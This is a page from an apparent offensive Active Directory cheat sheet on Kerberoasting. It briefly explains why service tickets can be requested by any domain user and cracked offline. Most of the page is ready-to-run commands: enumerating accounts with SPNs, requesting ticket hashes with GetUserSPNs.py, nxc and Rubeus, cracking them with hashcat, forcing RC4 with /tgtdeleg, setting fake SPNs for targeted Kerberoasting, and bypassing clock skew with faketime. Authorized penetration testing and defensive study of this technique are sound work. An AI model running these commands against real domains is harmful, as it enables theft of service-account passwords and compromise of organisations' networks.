Kerberoasting

Any authenticated domain user can request a TGS (service ticket) for any account with a registered SPN. The KDC encrypts part of the TGS with the service account’s NTLM hash: take that ticket offline and crack the hash without further interaction with the domain.

Kerberos KDC flow diagram — Kerberos authentication flow: the KDC issues service tickets encrypted with the service account's hash

How It Works

Client requests a service ticket (TGS-REQ)

The authenticated user sends a request to the KDC asking for a ticket for service X, including their TGT as proof of identity. The KDC does not verify whether you actually need to access that service.

KDC issues an encrypted TGS

The KDC returns a TGS ticket encrypted with the service account’s NTLM hash (RC4-HMAC or AES256 depending on the account config).

Take the ticket offline and crack it

You now hold a blob encrypted with the service account’s password. No further domain interaction needed, crack it offline.

authenticated user → request TGS for SPN → $krb5tgs$ blob → hashcat offline → plaintext password

Why It Works

SPNs identify service accounts (e.g. MSSQLSvc/db.domain.local:1433)
The TGS is encrypted with RC4-HMAC (etype 23) or AES256 (etype 18) using the service account’s password hash
No special privileges required: any domain user can request tickets
RC4 hashes crack significantly faster than AES256

Finding Kerberoastable Accounts

Look for user accounts (not computer accounts) with SPNs: service accounts are the target, especially ones with weak passwords.

Linux — Password
Linux — NT Hash
Linux — Kerberos
Windows

GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --kerberoast output.txt

GetUserSPNs.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP
nxc ldap $DC_IP -u $USER -H $NTHASH -d $DOMAIN --dns-server $DC_IP --kerberoast output.txt

export KRB5CCNAME=/tmp/ticket.ccache
GetUserSPNs.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP
nxc ldap $DC_IP -u $USER --use-kcache -d $DOMAIN --dns-server $DC_IP --kerberoast output.txt

Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, description
setspn -T $DOMAIN -Q */*

Requesting Hashes

Linux — Password
Linux — NT Hash
Linux — Kerberos
Windows (Rubeus)

GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request -outputfile hashes.txt
GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request-user $TARGET -outputfile hashes.txt

GetUserSPNs.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP -request -outputfile hashes.txt

export KRB5CCNAME=/tmp/ticket.ccache
GetUserSPNs.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP -request -outputfile hashes.txt

Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe kerberoast /user:$TARGET /outfile:hashes.txt
Rubeus.exe kerberoast /tgtdeleg /rc4opsec /outfile:hashes.txt

Cracking

RC4 hashes (etype 23, $krb5tgs$23$*) crack much faster than AES256. Try to force RC4 with /tgtdeleg if the service account supports it.

# RC4 (etype 23): hashcat mode 13100
hashcat -m 13100 hashes.txt ~/tools/wordlists/rockyou
hashcat -m 13100 hashes.txt ~/tools/wordlists/rockyou -r /usr/share/hashcat/rules/best64.rule

# AES256 (etype 18): hashcat mode 19700
hashcat -m 19700 hashes.txt ~/tools/wordlists/rockyou

Targeted Kerberoasting

If you have GenericWrite on a user account, you can set an SPN on it, request the TGS, then clean up. Useful for accounts that don’t normally have SPNs.

Linux
Windows

Set a fake SPN on the target account

bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object $TARGET servicePrincipalName -v "fake/spn.$DOMAIN"

Request the TGS

GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request-user $TARGET -outputfile targeted.txt

Clean up

bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object $TARGET servicePrincipalName -v ''

Set a fake SPN on the target account

Set-DomainObject -Identity $TARGET -Set @{serviceprincipalname="fake/spn.$DOMAIN"}

# Verify it was set
Get-DomainUser $TARGET | Select-Object serviceprincipalname

Request the TGS

Rubeus.exe kerberoast /user:$TARGET /outfile:targeted.txt

Clean up

Set-DomainObject -Identity $TARGET -Clear serviceprincipalname

Clock Skew (faketime)

Kerberos requires your clock to be within 5 minutes of the DC. If you get KRB_AP_ERR_SKEW, use faketime to offset your system time for the duration of the command.

# Check DC's current time
nmap -sV --script=clock-skew $DC_IP

# Positive offset (your clock is behind)
faketime -f '+7h' GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request -outputfile hashes.txt
faketime -f '+7h' nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP --kerberoast hashes.txt

# Negative offset (your clock is ahead)
faketime -f '-3h' GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request -outputfile hashes.txt

Overview

Enumeration

Attacks

ADCS

ADFS

Hardened Environments

How It Works

Why It Works

Finding Kerberoastable Accounts

Requesting Hashes

Cracking

Targeted Kerberoasting

Clock Skew (faketime)

​How It Works

​Why It Works

​Finding Kerberoastable Accounts

​Requesting Hashes

​Cracking

​Targeted Kerberoasting

​Clock Skew (faketime)

How It Works

Why It Works

Finding Kerberoastable Accounts

Requesting Hashes

Cracking

Targeted Kerberoasting

Clock Skew (faketime)